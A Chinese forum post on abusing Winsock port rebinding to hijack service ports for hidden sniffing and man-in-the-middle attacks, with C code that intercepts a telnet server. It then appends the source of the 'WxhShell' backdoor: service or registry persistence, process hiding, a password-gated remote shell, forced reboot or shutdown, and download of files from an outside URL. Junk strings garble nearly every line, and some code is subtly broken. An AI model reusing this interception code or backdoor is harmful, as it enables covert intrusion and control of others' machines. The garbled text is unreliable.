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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,j2qY'wi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sqfa,3?L  
5t0i/&zX  
  saddr.sin_family = AF_INET; <pi q?:ac  
l65'EO|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]4hXK!^Uu  
,[~Ydth  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); to,=Q8 )0  
gR1X@j$_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +n)(\k{  
i 0L7`TB  
  这意味着什么?意味着可以进行如下的攻击: hW/*]7AM^  
8l)l9;4 6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b8QW^Z  
]kKf4SJZFU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }H^#}  
d(fgv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TcRnjsY$  
L{(r@Vu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7N'F]x  
a^sR?.+3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F3wRHq  
M2V.FYV{j>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3ON]c13  
v[lytX4)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EiT raWV"O  
Jr1^qY`0+  
  #include FRfMtxvU  
  #include s$Roe(J  
  #include >A1Yn]k  
  #include    Y&gfe8%5N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =OjzBiHR  
  int main() /=Xen mmS  
  { +mxsjcq0  
  WORD wVersionRequested; 6W#+U<  
  DWORD ret; R o%S_!  
  WSADATA wsaData; ]qpcA6%a|  
  BOOL val; s  fti[  
  SOCKADDR_IN saddr; R~c(^.|r  
  SOCKADDR_IN scaddr; J-X5n 3I&  
  int err; Vy(lyD<6  
  SOCKET s; t`DUY3>36  
  SOCKET sc; sCnZ\C@u  
  int caddsize; EBebyQcon  
  HANDLE mt; O;,k~  
  DWORD tid;   #XmN&83_  
  wVersionRequested = MAKEWORD( 2, 2 ); cHR}`U$  
  err = WSAStartup( wVersionRequested, &wsaData ); Q"Bgr&RJ  
  if ( err != 0 ) { DO %YOv  
  printf("error!WSAStartup failed!\n"); -'8|D!>v2  
  return -1; _IY)<'d  
  } =jG3wf*  
  saddr.sin_family = AF_INET; ,fYO>l';`f  
   -7+Fb^"L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J4co@=AJ  
pXQ&2s$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j5ui  
  saddr.sin_port = htons(23); xt`znNN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6=H-H\iw  
  { Riw>cVi~  
  printf("error!socket failed!\n"); B 1p9pr  
  return -1; j+Tk|GRab  
  } a~{St v  
  val = TRUE; V];RQWs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $[]=6.s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ev+N KUi=  
  { ~S=hxKI  
  printf("error!setsockopt failed!\n"); |L+GM"hg  
  return -1; &V2G <gm0  
  } OPjscc5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rAQ^:q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |%M%j'9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0\ gE^=o[  
=0v{+ #}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DSnsi@Mi  
  { ~MQN&  
  ret=GetLastError();  x'  
  printf("error!bind failed!\n"); 9GQTe1[t4  
  return -1; :!#-k  
  } Dk7"#q@kx  
  listen(s,2); B j*X_m  
  while(1) _p~ `nQ=7  
  { \ tQi7yj4  
  caddsize = sizeof(scaddr); a<HM|dcst  
  //接受连接请求 CP?\'a"Kt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >MhkNy  
  if(sc!=INVALID_SOCKET) &MKv _  
  { Sa@Xh,y Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4frZ .r;V  
  if(mt==NULL) E*'O))  
  { {uhw ^)v  
  printf("Thread Creat Failed!\n"); ?pVODnP k  
  break; Su-+~` "  
  } T$q]iSgu  
  } g|T' oK  
  CloseHandle(mt); oZzE.Q1T  
  } Cf10 ud   
  closesocket(s); t qER;L  
  WSACleanup(); *X)OdU  
  return 0; K1C#  
  }   a-kU?&* y  
  DWORD WINAPI ClientThread(LPVOID lpParam) f^]2qoN  
  { w)}[)}T!  
  SOCKET ss = (SOCKET)lpParam; ME7JU|@Z  
  SOCKET sc; zz$*upxK  
  unsigned char buf[4096]; .vb*|So  
  SOCKADDR_IN saddr; 5^5h%~)}  
  long num; a(<nk5  
  DWORD val; AFY;;_Xks  
  DWORD ret; |fa3;8!96  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N8!B2uPQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6ZF5f^M^  
  saddr.sin_family = AF_INET; <4VUzgX2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LUCpZ3F1  
  saddr.sin_port = htons(23); $A-b-`X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3<'n>'  
  { }5% !: =  
  printf("error!socket failed!\n"); DsP+#PX  
  return -1; "rX`h  
  } } $OQw'L[  
  val = 100; \75%[;.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q#vur o  
  { oinF<-(  
  ret = GetLastError(); 6T)D6;@L  
  return -1; KBOxr5w  
  } 2'/ ip@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ty "k  
  { ,qC_[PUT  
  ret = GetLastError(); Qn6&M  
  return -1; 9oN b= .  
  } Qg4qjX](?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gTs5xDvJ  
  { 4sG^ bZ,  
  printf("error!socket connect failed!\n"); Dzp9BRS 2f  
  closesocket(sc); 1[^2f70n  
  closesocket(ss); 8_:jPd! 3  
  return -1; z5Po,@W  
  } C:H9C  
  while(1) ,(]hykbXp  
  { F*(<`V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m'a3}vRV(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TMq\}k-I5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \N!k)6\  
  num = recv(ss,buf,4096,0); whD%Oz*f  
  if(num>0) fD V:ueO  
  send(sc,buf,num,0); 7kj#3(e  
  else if(num==0) sl`\g1<{`  
  break; )<!y_;$A  
  num = recv(sc,buf,4096,0); qQ^]z8g6P  
  if(num>0) <b{ApsRJf  
  send(ss,buf,num,0); }yXa1#3  
  else if(num==0) k(V#{ YP  
  break; S3.Pqp_<  
  } #IgY'L  
  closesocket(ss); )5p0fw  
  closesocket(sc); s%I) +|  
  return 0 ; tEZ@v(D  
  } A5 /Q:8b  
$+ lc;N  
5a_1x|Fhi  
========================================================== Dy5'm?  
++5So fG@  
下边附上一个代码,,WXhSHELL poQY X5  
}oloMtp$  
========================================================== /\OjtE  
X 5pp8~  
#include "stdafx.h" #dU-*wmJ  
-2bu`oD `  
#include <stdio.h> _0ep[r  
#include <string.h> YJF!_kg.  
#include <windows.h> V"k*PLt  
#include <winsock2.h> jsH7EhF{'  
#include <winsvc.h> 7H9&\ur9+  
#include <urlmon.h> vz/.*u  
j<e`8ex?  
#pragma comment (lib, "Ws2_32.lib") e")s1`  
#pragma comment (lib, "urlmon.lib") 4E<iIA\x  
r +d%*Dx  
#define MAX_USER   100 // 最大客户端连接数 [|E 93g  
#define BUF_SOCK   200 // sock buffer &n91f  
#define KEY_BUFF   255 // 输入 buffer "Lw[ $  
YyjnyG  
#define REBOOT     0   // 重启 ~~;J[F p  
#define SHUTDOWN   1   // 关机 p^<*v8,~7  
[,yoFm%"  
#define DEF_PORT   5000 // 监听端口 :$L^l{gT  
Fe{lM' 8  
#define REG_LEN     16   // 注册表键长度 'MVE5  
#define SVC_LEN     80   // NT服务名长度 J7c(qGJI2  
JPR o<jt=  
// 从dll定义API luY#l!mx3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); au1uFu-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K!=Y4"5%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fX^ <H_1$G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P uYAoKG  
)7f;FWI  
// wxhshell配置信息 DQui7dr)l  
struct WSCFG { S ( e]@  
  int ws_port;         // 监听端口 w&8N6gA14  
  char ws_passstr[REG_LEN]; // 口令 R6v~Sy&n!  
  int ws_autoins;       // 安装标记, 1=yes 0=no {(Jbgsxm  
  char ws_regname[REG_LEN]; // 注册表键名 CC"}aV5  
  char ws_svcname[REG_LEN]; // 服务名 :qy< G!o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3k3-Ts  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gl; xd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g3B%}!|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4AW-'W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UNY O P{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C&wp*  
8vR Q_  
}; x *:v]6y  
s3<gq x-&r  
// default Wxhshell configuration 7n}$|h5D  
struct WSCFG wscfg={DEF_PORT, {8]Yqx)1]]  
    "xuhuanlingzhe",  r`-=<@[  
    1, "}*5'e.*  
    "Wxhshell", ,! b9  
    "Wxhshell", &l M=>?  
            "WxhShell Service", g&&-  
    "Wrsky Windows CmdShell Service", uE E;~`G  
    "Please Input Your Password: ", }IJE%  
  1, f^Io:V\  
  "http://www.wrsky.com/wxhshell.exe", @qUgp*+{  
  "Wxhshell.exe" y$$|_ l@  
    }; tW-wO[2  
qzk!'J3*r<  
// 消息定义模块 }vK8P r%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /qaWUUf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +,c]FAx4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _|jEuif  
char *msg_ws_ext="\n\rExit."; 5FMe&  
char *msg_ws_end="\n\rQuit."; ^tF lA)  
char *msg_ws_boot="\n\rReboot..."; {Qba`lOkq  
char *msg_ws_poff="\n\rShutdown..."; yOTC>?p%  
char *msg_ws_down="\n\rSave to "; WBN3:Y7  
^vw[z2"  
char *msg_ws_err="\n\rErr!"; KOhK#t>H@0  
char *msg_ws_ok="\n\rOK!"; l~ Hu#+O  
lJvfgP-j  
char ExeFile[MAX_PATH]; :P8X?C63W]  
int nUser = 0; X<sM4dwxE  
HANDLE handles[MAX_USER]; Yr)<1.K4,M  
int OsIsNt; 2`^M OGYk  
]y9u5H^  
SERVICE_STATUS       serviceStatus; +aQM %~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]bP1gV(b-  
JA09 o(  
// 函数声明 :JXGgl<y  
int Install(void); l@:&0id4I  
int Uninstall(void); * ,L e--t  
int DownloadFile(char *sURL, SOCKET wsh); PR3i}y>  
int Boot(int flag); 6o.Dgt/f  
void HideProc(void); O03N$ Jq A  
int GetOsVer(void); Nt,:`o |  
int Wxhshell(SOCKET wsl); PO nF_FC  
void TalkWithClient(void *cs); RF}R~m9]  
int CmdShell(SOCKET sock); <:>[24LJ{  
int StartFromService(void); "_0sW3rG  
int StartWxhshell(LPSTR lpCmdLine); NT=)</v  
)8E[xBaO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8;d./!|'&g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bjBXs;zr@\  
ThY\K>@]  
// 数据结构和表定义 )i"52!  
SERVICE_TABLE_ENTRY DispatchTable[] = G:!3X)b  
{ uquY z_2  
{wscfg.ws_svcname, NTServiceMain}, .6c Bx  
{NULL, NULL} OIs!,G|  
}; {)I&&fSz  
o'_eLp  
// 自我安装 SaOOD-u  
int Install(void) cwE?+vB  
{ emHaZhh  
  char svExeFile[MAX_PATH]; =5O&4G`}  
  HKEY key; KwY6pF*  
  strcpy(svExeFile,ExeFile); ]u.)6{  
1()pKBHf  
// 如果是win9x系统,修改注册表设为自启动 6?'; ip  
if(!OsIsNt) { t(99m=9>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jq:Wt+a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r*c x_**  
  RegCloseKey(key); p#N2K{E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IN@ =UAc&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] u\-_PP  
  RegCloseKey(key); H on,-<  
  return 0; /tJ%gF  
    } Xc9NM1bp=  
  } 0pBG^I`_  
} 6u,w  
else { ?s]?2>p  
l]L"Ex{  
// 如果是NT以上系统,安装为系统服务 WS+uKb^<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); POQ4&ChA  
if (schSCManager!=0) ^qtJcMK+hq  
{ s,j=Kym%  
  SC_HANDLE schService = CreateService |H%,>r`9S  
  ( '/fueku  
  schSCManager, h`D+NZtWm  
  wscfg.ws_svcname, Np?/r}  
  wscfg.ws_svcdisp, ~"cqFdnO  
  SERVICE_ALL_ACCESS, ~,{nBp9*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ku8qn \2"  
  SERVICE_AUTO_START, |iVw7M:  
  SERVICE_ERROR_NORMAL,  s-S|#5  
  svExeFile, gFxaUrZA  
  NULL, \O\veB8  
  NULL, Lmc"q FzK  
  NULL, O*1la/~m  
  NULL, `llSHsIkXb  
  NULL b|U3\Fmc  
  ); 9U!#Y%*T  
  if (schService!=0) 41o ~5:&  
  { \Bn$b2j!%  
  CloseServiceHandle(schService); A"B[F#  
  CloseServiceHandle(schSCManager); Gx-tPW}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IJ6&*t wT  
  strcat(svExeFile,wscfg.ws_svcname); t8B==%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %M-B"#OB7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ys9MV%*  
  RegCloseKey(key); Es+BV+x[.c  
  return 0; M!iYj+nrP  
    } (C hL$!x  
  } p"q4R2_/jh  
  CloseServiceHandle(schSCManager); tH9BC5+r}  
} Jek)`D  
} EYU3Pl%  
**Q K}j[D  
return 1; )%9 P ;/  
} $c24lJ#/  
3qq 6X?y*  
// 自我卸载 d<v)ovQJ]  
int Uninstall(void) oBzjEv  
{ d+g+ {p>?  
  HKEY key; _"sFLe{  
!,N),xG}~  
if(!OsIsNt) { si|b>R&Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cz$q~)I$  
  RegDeleteValue(key,wscfg.ws_regname); Sv03="&  
  RegCloseKey(key); }'Yk#Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l}mzCIw%  
  RegDeleteValue(key,wscfg.ws_regname); z_en .  
  RegCloseKey(key); lof}isOz  
  return 0; &^JY  
  } Z sbE  
} ]}jY] l  
} fAV=O%^  
else { T\o!^|8  
YGr^uTQb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uM9RlI5  
if (schSCManager!=0) oF#]<Z\  
{ m_r_4BP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #:M)a?E/%  
  if (schService!=0) D[R<H((  
  { >-YWq  
  if(DeleteService(schService)!=0) { ,a?$F1Z-  
  CloseServiceHandle(schService); "e~"-B7(\Y  
  CloseServiceHandle(schSCManager); ZYD3[" ~x  
  return 0; OcGHMGdn  
  } w1P8p>vA1  
  CloseServiceHandle(schService); r2 o-/$  
  } N;d@)h(N!  
  CloseServiceHandle(schSCManager); *27*&&=)H  
} m' suAj0  
} 6GtXM3qtS  
qlfYX8edZ  
return 1; zq&,KZ  
} [vY? !  
xt"GO  b  
// 从指定url下载文件 3ws}E6\D  
int DownloadFile(char *sURL, SOCKET wsh) J2adA9R/,  
{ kQMALS@R  
  HRESULT hr; N5:muh \  
char seps[]= "/"; B0}f,J\  
char *token; kKR Z79"7s  
char *file; _<1uO=km6  
char myURL[MAX_PATH]; @AU<'?k  
char myFILE[MAX_PATH]; #v`J]I)$  
~#jD/  
strcpy(myURL,sURL); B?)=d,E  
  token=strtok(myURL,seps); FGG 7;0(  
  while(token!=NULL) ');QmN%J  
  { G\:^9!nwY~  
    file=token; QBiLH]qa  
  token=strtok(NULL,seps); &r Lg/UEV-  
  } $zuemjW3p  
_P*<T6\J>  
GetCurrentDirectory(MAX_PATH,myFILE); 7I_lTu(  
strcat(myFILE, "\\"); Y l1sAf/  
strcat(myFILE, file); s8]9OG3g  
  send(wsh,myFILE,strlen(myFILE),0); csF!*!tta  
send(wsh,"...",3,0); S<V__Sv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PME ?{%&  
  if(hr==S_OK) $!_]mz6*  
return 0; , 1{)B  
else  uM9[  
return 1; H#B~ h4#  
`Vqp o/  
} #}rv)  
Q@-7{3  
// 系统电源模块 RjS&^u aP  
int Boot(int flag) n(#159pZ  
{ -S"$S16D  
  HANDLE hToken; N{<=s]I%x  
  TOKEN_PRIVILEGES tkp; s]=s|  
;h"?h*}m!\  
  if(OsIsNt) { ,HFoy-Yq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OO:^#Mvv5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e)~7pXYV)  
    tkp.PrivilegeCount = 1; t%n3~i4X:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [fU2$(mT+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `%x6;Ha  
if(flag==REBOOT) { /f7Fv*z/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >}*i Qq  
  return 0; pGy(JvMw"  
} u8Au `  
else { idf~"a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #Pz},!7  
  return 0; {yy ^DlHb  
} "s]c79t  
  } bX:ARe O  
  else { ^< ,Np+  
if(flag==REBOOT) { Jk)^6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $#dPM*E  
  return 0; E:N~c'k  
} _tg&_P+kV  
else { r2T-=XWB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~5HI9A4^  
  return 0; K>TdN+Z}=  
} UpgY}pf}  
} rZDlPp>BPZ  
%/:{x()G  
return 1; Z%Nl<i  
} dE+xU(\, w  
Syn>;FX  
// win9x进程隐藏模块 9'I I!  
void HideProc(void) Uu9\;f  
{ @L8('8~d  
#L{QnV.3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OgNt"Vg  
  if ( hKernel != NULL ) >Rw[x  
  { f!~gfnn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =>Vo|LBoe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )POuH*j  
    FreeLibrary(hKernel); mJu;B3@  
  } P+sxlf:0  
)~<8j  
return; .,pGW8Js  
} > ln%3 =  
9d4PH  
// 获取操作系统版本 A+T! DnVof  
int GetOsVer(void) )z9)oM\  
{ j5ZeYcQ-  
  OSVERSIONINFO winfo; t)LD-%F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  b]s*z<|%  
  GetVersionEx(&winfo); .N99=%[}h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L{|V13?  
  return 1; m9UI3fBX  
  else _yyQ^M/  
  return 0; #;Y JR9VN  
} <JKRdIx&1  
LXaT_3 ;  
// 客户端句柄模块 31LXzQvFG  
int Wxhshell(SOCKET wsl) 8? 4j-  
{ I)AV  
  SOCKET wsh; aD,sx#g0  
  struct sockaddr_in client; yVm~5Y&Z  
  DWORD myID; ?9_<LE q  
+Eh1>m  
  while(nUser<MAX_USER) 4!<8Dd  
{ dF*@G/p>V  
  int nSize=sizeof(client); y88FT#hR|5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZD] ^Y}  
  if(wsh==INVALID_SOCKET) return 1; EZz Ox(g  
@<e+E"6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ] 5lp.#EB  
if(handles[nUser]==0) k+2~=#  
  closesocket(wsh); mvI[=e*  
else &AmTXW  
  nUser++; "w0>  
  } R74kt36M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1@C0c%  
I|JMkP  
  return 0; zg&<HJO  
} _|xO4{X  
"P=OpFV  
// 关闭 socket ow*) 1eo  
void CloseIt(SOCKET wsh) ci>+Zi6  
{ * c] :,5  
closesocket(wsh); D0tmNV@  
nUser--; *z`_U]tP  
ExitThread(0); h8oG5|Y  
} <Brq7:n|  
_niXl&C  
// 客户端请求句柄 JS r& S[  
void TalkWithClient(void *cs) 1FUadSB5)  
{ gvO}u2.:  
:3$WY<  
  SOCKET wsh=(SOCKET)cs; [!4p5;  
  char pwd[SVC_LEN]; rIg1]q  
  char cmd[KEY_BUFF]; rG1l:Z)  
char chr[1]; Y@N}XH<4R  
int i,j; yHl1:cf(y  
_6&x$ *O  
  while (nUser < MAX_USER) { ozF>2`K }  
 2&O!<C j  
if(wscfg.ws_passstr) { &a%|L=FY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y"~I(,nx!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SQ&nQzL  
  //ZeroMemory(pwd,KEY_BUFF); iQs^2z#Bd  
      i=0; Wk<heF  
  while(i<SVC_LEN) { Xc8r[dX  
[ye!3h&]  
  // 设置超时 pY@$N&+W  
  fd_set FdRead; -u+@5K;^Y  
  struct timeval TimeOut; 2tPW1"M.n  
  FD_ZERO(&FdRead); _mSDz=!Z3  
  FD_SET(wsh,&FdRead); /bm2v;  
  TimeOut.tv_sec=8; \tR](, /  
  TimeOut.tv_usec=0; V+`gkWe/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y,&'nk}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0xE37Ld,  
iM \3~3'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3XykIj1  
  pwd=chr[0]; =Q+i(UGHi  
  if(chr[0]==0xd || chr[0]==0xa) { Yf1&"WW4  
  pwd=0; aE aU_f /  
  break; 'N aNh0y  
  } Rhw- 49AWx  
  i++; 9ZXkuP9vm  
    } lL8pIcQW  
DA=#T2)p  
  // 如果是非法用户,关闭 socket /%&Kbd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HKB?G~  
} q|7i6jq\*R  
zEM  c)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q]h.{nN#PK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q)]C~Q  
t)qu@m?FZ)  
while(1) { HpLCOY1-  
9j94]w2v  
  ZeroMemory(cmd,KEY_BUFF); -9PJ4"H  
K Eda6zZH  
      // 自动支持客户端 telnet标准   ~,Y xUn8@  
  j=0; f%,Vplb  
  while(j<KEY_BUFF) { %<dvdIB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TEJn;D<1I,  
  cmd[j]=chr[0]; 2uSXC*Phz  
  if(chr[0]==0xa || chr[0]==0xd) { zv%]j0 ?  
  cmd[j]=0; ]S  
  break; gm^j8  B  
  } 6DkFIkS  
  j++; *sJT\J$D[  
    } gWk?g^KJL  
0Y>5&  
  // 下载文件 hw 5NHZ I'  
  if(strstr(cmd,"http://")) { z:Y Z]   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,r5'nDV=d  
  if(DownloadFile(cmd,wsh)) ,|}}Ml  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WHF[l1  
  else MiK -W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gDN7ly]6M  
  } ~`Y!_'(x  
  else { *;ehSg9  
xF8U )j !  
    switch(cmd[0]) { d/&W[jJ  
  a^vTBJXo  
  // 帮助 iY,Ffu E  
  case '?': { ZA1:Y{ V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jT'09r3P  
    break; 60\`TsFobT  
  } PEr &|H2  
  // 安装 r5,V-5b  
  case 'i': { ohJo1}{  
    if(Install()) !eu\ShI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{1;wC(b  
    else olv0w ;s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @k-C>h()C  
    break; s' 4O] k`  
    } G'U! #  
  // 卸载 ikd1KF+I  
  case 'r': { w!%"b03q  
    if(Uninstall()) 4j1$1C{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gf ?_tB0C  
    else ROhhd.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H8x66}  
    break; &wa2MNCG8  
    } ,*kh{lJ  
  // 显示 wxhshell 所在路径 5r1u_8)'  
  case 'p': { \Ota~A  
    char svExeFile[MAX_PATH]; +$YH dgZ.  
    strcpy(svExeFile,"\n\r"); WR"?j 9y_q  
      strcat(svExeFile,ExeFile); x%'5 rnm|  
        send(wsh,svExeFile,strlen(svExeFile),0); n \i ~H  
    break; `nCVO;B  
    } `Sx1?@8(  
  // 重启 oh0*bh  
  case 'b': { I}sb0 Q&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OQ&'3hv{  
    if(Boot(REBOOT)) ],~H3u=s3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *B)J(^M!q  
    else { ^)E# c  
    closesocket(wsh); HfPu~P  
    ExitThread(0); ^]NFr*'!  
    } p:;`X!  
    break; %Ze]6TP/><  
    } w{WEYS  
  // 关机 ,hOi5,|?L  
  case 'd': { b5S4C2Ynq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fm0]nT   
    if(Boot(SHUTDOWN)) #F=!g?  
